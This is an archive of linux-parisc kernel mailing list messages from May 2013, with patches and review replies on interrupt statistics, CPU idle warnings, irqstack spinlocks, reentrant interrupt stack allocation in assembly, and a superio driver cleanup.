X1NQQVJDPXkKQ09ORklHX1haX0RFQ19CQ0o9eQojIENPTkZJR19YWl9ERUNfVEVTVCBpcyBu
b3Qgc2V0CkNPTkZJR19ERUNPTVBSRVNTX0daSVA9eQpDT05GSUdfREVDT01QUkVTU19CWklQ
Mj15CkNPTkZJR19ERUNPTVBSRVNTX0xaTUE9eQpDT05GSUdfREVDT01QUkVTU19YWj15CkNP
TkZJR19ERUNPTVBSRVNTX0xaTz15CkNPTkZJR19IQVNfSU9NRU09eQpDT05GSUdfSEFTX0lP
UE9SVD15CkNPTkZJR19IQVNfRE1BPXkKQ09ORklHX0NQVV9STUFQPXkKQ09ORklHX0RRTD15
CkNPTkZJR19OTEFUVFI9eQpDT05GSUdfQVJDSF9IQVNfQVRPTUlDNjRfREVDX0lGX1BPU0lU
SVZFPXkKIyBDT05GSUdfQVZFUkFHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0NPUkRJQyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0REUiBpcyBub3Qgc2V0CkNPTkZJR19PSURfUkVHSVNUUlk9bQo=
--------------020704030008080608090906--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: show number of FPE and unaligned access handler
 calls in /proc/interrupts
Date: Sat, 18 May 2013 21:35:44 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <20130518193544.GA25925@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368905753 29596 80.91.229.3 (18 May 2013 19:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 18 May 2013 19:35:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 18 21:35:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Udmv1-0007o5-WA
	for glpp-linux-parisc@plane.gmane.org; Sat, 18 May 2013 21:35:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752959Ab3ERTft (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 18 May 2013 15:35:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:56622 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752874Ab3ERTft (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 18 May 2013 15:35:49 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lmhpd-1U3dDc1dOV-00aG3H for
 <linux-parisc@vger.kernel.org>; Sat, 18 May 2013 21:35:47 +0200
Original-Received: (qmail invoked by alias); 18 May 2013 19:35:47 -0000
Original-Received: from p54AD10AA.dip0.t-ipconnect.de (EHLO p100.box) [84.173.16.170]
  by mail.gmx.net (mp029) with SMTP; 18 May 2013 21:35:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19Ul+QyTuFU2xKaTm3uz4YEUijg8QPED5SosXVjkg
	Kd1c2rlgylIVRe
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5042
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5042>

Show number of floating point assistant and unaligned access fixup
handler in /proc/interrupts file. 

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index c19f713..4c6dd8d 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -28,6 +28,8 @@ typedef struct {
 	unsigned int irq_resched_count;
 	unsigned int irq_call_count;
 #endif
+	unsigned int irq_unaligned_count;
+	unsigned int irq_fpassist_count;
 	unsigned int irq_tlb_count;
 } ____cacheline_aligned irq_cpustat_t;
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 55237a7..9c2d953 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -188,6 +188,14 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
 	seq_puts(p, "  Function call interrupts\n");
 #endif
+	seq_printf(p, "%*s: ", prec, "UAH");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_unaligned_count);
+	seq_puts(p, "  Unaligned access handler traps\n");
+	seq_printf(p, "%*s: ", prec, "FPA");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_fpassist_count);
+	seq_puts(p, "  Floating point assist traps\n");
 	seq_printf(p, "%*s: ", prec, "TLB");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index fe41a98..04e47c6 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -646,6 +646,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
 		die_if_kernel("Floating point exception", regs, 0); /* quiet */
+		__inc_irq_stat(irq_fpassist_count);
 		handle_fpe(regs);
 		return;
 
diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index 234e368..d7c0acb 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -27,6 +27,7 @@
 #include <linux/signal.h>
 #include <linux/ratelimit.h>
 #include <asm/uaccess.h>
+#include <asm/hardirq.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -454,6 +455,8 @@ void handle_unaligned(struct pt_regs *regs)
 	struct siginfo si;
 	register int flop=0;	/* true if this is a flop */
 
+	__inc_irq_stat(irq_unaligned_count);
+
 	/* log a message with pacing */
 	if (user_mode(regs)) {
 		if (current->thread.flags & PARISC_UAC_SIGBUS) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96
Date: Sat, 18 May 2013 21:40:55 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <5197D947.4070200@gmx.de>
References: <20130508204242.GA16254@p100.box> <1368047134.8623.5.camel@dabdike> <5196843B.8060807@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368906066 32645 80.91.229.3 (18 May 2013 19:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 18 May 2013 19:41:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 18 21:41:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Udn03-0003Vr-Uu
	for glpp-linux-parisc@plane.gmane.org; Sat, 18 May 2013 21:41:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753128Ab3ERTlD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 18 May 2013 15:41:03 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54550 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752988Ab3ERTlB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 18 May 2013 15:41:01 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MGlZv-1UhvkD0qxN-00DaJT for
 <linux-parisc@vger.kernel.org>; Sat, 18 May 2013 21:41:00 +0200
Original-Received: (qmail invoked by alias); 18 May 2013 19:41:00 -0000
Original-Received: from p54AD10AA.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.16.170]
  by mail.gmx.net (mp020) with SMTP; 18 May 2013 21:41:00 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18QzUdqm5oQ9RDZrleGcPCyL99kHXKfqNUSEqPUlN
	Cv9zp4CF1Douei
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <5196843B.8060807@linux.vnet.ibm.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5043 gmane.linux.kernel:1493226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5043>

On 05/17/2013 09:25 PM, Srivatsa S. Bhat wrote:
> On 05/09/2013 02:35 AM, James Bottomley wrote:
>> On Wed, 2013-05-08 at 22:42 +0200, Helge Deller wrote:
>>> We need to enable local irqs to avoid this runtime warning.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
>>> index 55f92b6..2840d43 100644
>>> --- a/arch/parisc/kernel/process.c
>>> +++ b/arch/parisc/kernel/process.c
>>> @@ -286,3 +286,8 @@ void *dereference_function_descriptor(void *ptr)
>>>  	return ptr;
>>>  }
>>>  #endif
>>> +
>>> +void arch_cpu_idle(void)
>>> +{
>>> +	local_irq_enable();
>>
>> This is definitely wrong.  we'd need at least a cpu_relax() in there.
>> Without that the cpu will bounce around in the idle loop.  I'd advise
>> that we simply keep the default cpu_idle_poll().
>>
>> However, this looks like a kernel bug to me in cpu_idle_loop()?  not
>> something we should be working around in the arch code.
>>
>> Thomas, what's going on here?  It looks like you can never avoid the
>> WARN_ON_ONCE if you don't provide any arch specific idle functions.  If
>> you wish to allow this case then the correct patch (keeping the WARN_ON)
>> would appear to be this one.
>>
>> James
>>
>> ----
>> diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
>> index 8b86c0c..829e41f 100644
>> --- a/kernel/cpu/idle.c
>> +++ b/kernel/cpu/idle.c
>> @@ -56,6 +56,7 @@ void __weak arch_cpu_idle_dead(void) { }
>>  void __weak arch_cpu_idle(void)
>>  {
>>  	cpu_idle_force_poll = 1;
>> +	local_irq_enable();
>>  }
>>
>>  /*
>>
> 
> This patch looks like the correct fix to me.
> 
> Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>

Thanks Srivatsa!

I can push it through the parisc tree if nobody objects...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use arch_spinlock_t instead of raw_spinlock_t in
 irqstacks
Date: Sun, 19 May 2013 00:21:13 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20130518222113.GA4317@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368915680 17094 80.91.229.3 (18 May 2013 22:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 18 May 2013 22:21:20 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 19 00:21:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UdpV7-0005Cr-Pi
	for glpp-linux-parisc@plane.gmane.org; Sun, 19 May 2013 00:21:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753307Ab3ERWVR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 18 May 2013 18:21:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:64301 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753260Ab3ERWVR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 18 May 2013 18:21:17 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MLlXB-1Ud0Ho4707-000uWd for
 <linux-parisc@vger.kernel.org>; Sun, 19 May 2013 00:21:15 +0200
Original-Received: (qmail invoked by alias); 18 May 2013 22:21:15 -0000
Original-Received: from p54AD10AA.dip0.t-ipconnect.de (EHLO p100.box) [84.173.16.170]
  by mail.gmx.net (mp032) with SMTP; 19 May 2013 00:21:15 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+TZwxctiyT5zX84haZg4o/FZ7u2ZNfwtkFb4vS8H
	92jHY9kNJPFScj
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5044
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5044>

We need to use arch_spinlock_t spinlocks instead of raw_spinlock_t
spinlocks for irqstack protection else we will hit the "trylock failure
on UP" error message with CONFIG_SMP=n and CONFIG_DEBUG_SPINLOCK=y.

Since we can be called recursive here even on UP (we are in the irq
handler which handles even irq bh) this spinlock error message is just
wrong.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cfbc439..b2dca96 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -69,7 +69,7 @@
 
 union irq_stack_union {
 	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
-	raw_spinlock_t lock;
+	arch_spinlock_t lock;
 };
 
 DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 55237a7..9ba8e5a 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -443,14 +451,14 @@ panic_check:
 
 #ifdef CONFIG_IRQSTACKS
 DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
-		.lock = __RAW_SPIN_LOCK_UNLOCKED((irq_stack_union).lock)
+		.lock = __ARCH_SPIN_LOCK_UNLOCKED,
 	};
 
 static void execute_on_irq_stack(void *func, unsigned long param1)
 {
 	union irq_stack_union *union_ptr;
 	unsigned long irq_stack;
-	raw_spinlock_t *irq_stack_in_use;
+	arch_spinlock_t *irq_stack_in_use;
 
 	union_ptr = &per_cpu(irq_stack_union, smp_processor_id());
 	irq_stack = (unsigned long) &union_ptr->stack;
@@ -462,7 +470,7 @@ static void execute_on_irq_stack(void *func, unsigned long param1)
 	 * the irq stack usage.
 	 */
 	irq_stack_in_use = &union_ptr->lock;
-	if (!raw_spin_trylock(irq_stack_in_use)) {
+	if (!arch_spin_trylock(irq_stack_in_use)) {
 		void (*direct_call)(unsigned long p1) = func;
 
 		/* We are using the IRQ stack already.
@@ -477,7 +485,7 @@ static void execute_on_irq_stack(void *func, unsigned long param1)
 	__inc_irq_stat(irq_stack_counter);
 
 	/* free up irq stack usage. */
-	do_raw_spin_unlock(irq_stack_in_use);
+	arch_spin_unlock(irq_stack_in_use);
 }
 
 asmlinkage void do_softirq(void)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make interrupt and interruption stack allocation reentrant
Date: Mon, 20 May 2013 12:42:53 -0400
Lines: 127
Approved: news@gmane.org
Message-ID: <BLU0-SMTP505970D62F32869A32F3E597AF0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-77--81050249"
X-Trace: ger.gmane.org 1369068216 27530 80.91.229.3 (20 May 2013 16:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 May 2013 16:43:36 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 20 18:43:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UeTBP-0007H4-1Y
	for glpp-linux-parisc@plane.gmane.org; Mon, 20 May 2013 18:43:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757427Ab3ETQne (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 May 2013 12:43:34 -0400
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:8376 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757103Ab3ETQne (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 May 2013 12:43:34 -0400
Original-Received: from BLU0-SMTP50 ([65.55.111.136]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 20 May 2013 09:43:33 -0700
X-EIP: [+pndYwk1RsU+iMUMs1GSKQi5zZspeomh]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP50.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 20 May 2013 09:43:32 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 May 2013 16:43:32.0710 (UTC) FILETIME=[2A29A860:01CE5579]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5045>

--Apple-Mail-77--81050249
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The get_stack_use_cr30 and get_stack_use_r30 macros allocate a stack  
frame for external
interrupts and interruptions requiring a stack frame.  They are  
currently not reentrant in that
they save register context before the stack is set or adjusted.

I have observed a number of system crashes where there was clear  
evidence of stack corruption
during interrupt processing, and as a result register corruption.   
Some interruptions can still occur
during interruption processing, however external interrupts are  
disabled and data TLB misses
don't occur for absolute accesses.  So, it's not entirely clear what  
triggers this issue.  Also, if an
interruption occurs when Q=0, it is generally not possible to recover  
as the shadowed registers
are not copied.

The attached patch reworks the get_stack_use_cr30 and  
get_stack_use_r30 macros to allocate
stack before doing register saves.  The new code is a couple of  
instructions shorter than the old
implementation.  Thus, it's an improvement even if it doesn't fully  
resolve the stack corruption
issue.  Based on limited testing, it improves SMP system stability.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---


--Apple-Mail-77--81050249
Content-Disposition: attachment; filename="stack.d.3.txt"
Content-Type: text/plain; x-unix-mode=0644; name="stack.d.3.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index 89fb400..0da8482 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -438,7 +438,6 @@
 	SAVE_SP  (%sr4, PT_SR4 (\regs))
 	SAVE_SP  (%sr5, PT_SR5 (\regs))
 	SAVE_SP  (%sr6, PT_SR6 (\regs))
-	SAVE_SP  (%sr7, PT_SR7 (\regs))
 
 	SAVE_CR  (%cr17, PT_IASQ0(\regs))
 	mtctl	 %r0,	%cr17
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ae27cb6..e8f07dd 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -65,15 +65,11 @@
 	rsm	PSW_SM_I, %r0	/* barrier for "Relied upon Translation */
 	mtsp	%r0, %sr4
 	mtsp	%r0, %sr5
-	mfsp	%sr7, %r1
-	or,=    %r0,%r1,%r0	/* Only save sr7 in sr3 if sr7 != 0 */
-	mtsp	%r1, %sr3
+	mtsp	%r0, %sr6
 	tovirt_r1 %r29
 	load32	KERNEL_PSW, %r1
 
 	rsm     PSW_SM_QUIET,%r0	/* second "heavy weight" ctl op */
-	mtsp	%r0, %sr6
-	mtsp	%r0, %sr7
 	mtctl	%r0, %cr17	/* Clear IIASQ tail */
 	mtctl	%r0, %cr17	/* Clear IIASQ head */
 	mtctl	%r1, %ipsw
@@ -119,17 +115,20 @@
 
 	/* we save the registers in the task struct */
 
+	copy	%r30, %r17
 	mfctl   %cr30, %r1
+	ldo	THREAD_SZ_ALGN(%r1), %r30
+	mtsp	%r0,%sr7
+	mtsp	%r16,%sr3
 	tophys  %r1,%r9
 	LDREG	TI_TASK(%r9), %r1	/* thread_info -> task_struct */
 	tophys  %r1,%r9
 	ldo     TASK_REGS(%r9),%r9
-	STREG   %r30, PT_GR30(%r9)
+	STREG   %r17,PT_GR30(%r9)
 	STREG   %r29,PT_GR29(%r9)
 	STREG   %r26,PT_GR26(%r9)
+	STREG	%r16,PT_SR7(%r9)
 	copy    %r9,%r29
-	mfctl   %cr30, %r1
-	ldo	THREAD_SZ_ALGN(%r1), %r30
 	.endm
 
 	.macro  get_stack_use_r30
@@ -137,10 +136,12 @@
 	/* we put a struct pt_regs on the stack and save the registers there */
 
 	tophys  %r30,%r9
-	STREG   %r30,PT_GR30(%r9)
+	copy	%r30,%r1
 	ldo	PT_SZ_ALGN(%r30),%r30
+	STREG   %r1,PT_GR30(%r9)
 	STREG   %r29,PT_GR29(%r9)
 	STREG   %r26,PT_GR26(%r9)
+	STREG	%r16,PT_SR7(%r9)
 	copy    %r9,%r29
 	.endm
 

--Apple-Mail-77--81050249
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-77--81050249--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Huewe <peterhuewe@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc/superio: Use module_pci_driver to register driver
Date: Mon, 20 May 2013 22:56:45 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <1369083405-30157-1-git-send-email-peterhuewe@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1369083100 23738 80.91.229.3 (20 May 2013 20:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 May 2013 20:51:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Peter Huewe <peterhuewe@gmx.de>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 20 22:51:39 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UeX3S-0001bg-F9
	for glpp-linux-parisc@plane.gmane.org; Mon, 20 May 2013 22:51:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756937Ab3ETUvh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 May 2013 16:51:37 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52031 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756327Ab3ETUvh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 May 2013 16:51:37 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MTuW7-1V5JFW0zlB-00QnJR for
 <linux-parisc@vger.kernel.org>; Mon, 20 May 2013 22:51:35 +0200
Original-Received: (qmail invoked by alias); 20 May 2013 20:51:35 -0000
Original-Received: from dslb-084-056-018-013.pools.arcor-ip.net (EHLO localhost.localdomain) [84.56.18.13]
  by mail.gmx.net (mp033) with SMTP; 20 May 2013 22:51:35 +0200
X-Authenticated: #12255092
X-Provags-ID: V01U2FsdGVkX1+yHRww4p+yHUeLZZ7m1qo2IoKJU2EZ5DU/7obrPk
	QXzowTe6TLGiam
X-Mailer: git-send-email 1.8.1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5046 gmane.linux.kernel:1493979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5046>

Removing some boilerplate by using module_pci_driver instead of calling
register and unregister in the otherwise empty init/exit functions.

Signed-off-by: Peter Huewe <peterhuewe@gmx.de>
---
 drivers/parisc/superio.c | 13 +------------
 1 file changed, 1 insertion(+), 12 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index ac6e8e7..a042d06 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -494,15 +494,4 @@ static struct pci_driver superio_driver = {
 	.probe =        superio_probe,
 };
 
-static int __init superio_modinit(void)
-{
-	return pci_register_driver(&superio_driver);
-}
-
-static void __exit superio_exit(void)
-{
-	pci_unregister_driver(&superio_driver);
-}

From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs() for
 all archs
Date: Wed, 22 May 2013 11:37:17 +0900
Lines: 35
Approved: news@gmane.org
Message-ID: <519C2F5D.8000809@igel.co.jp>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
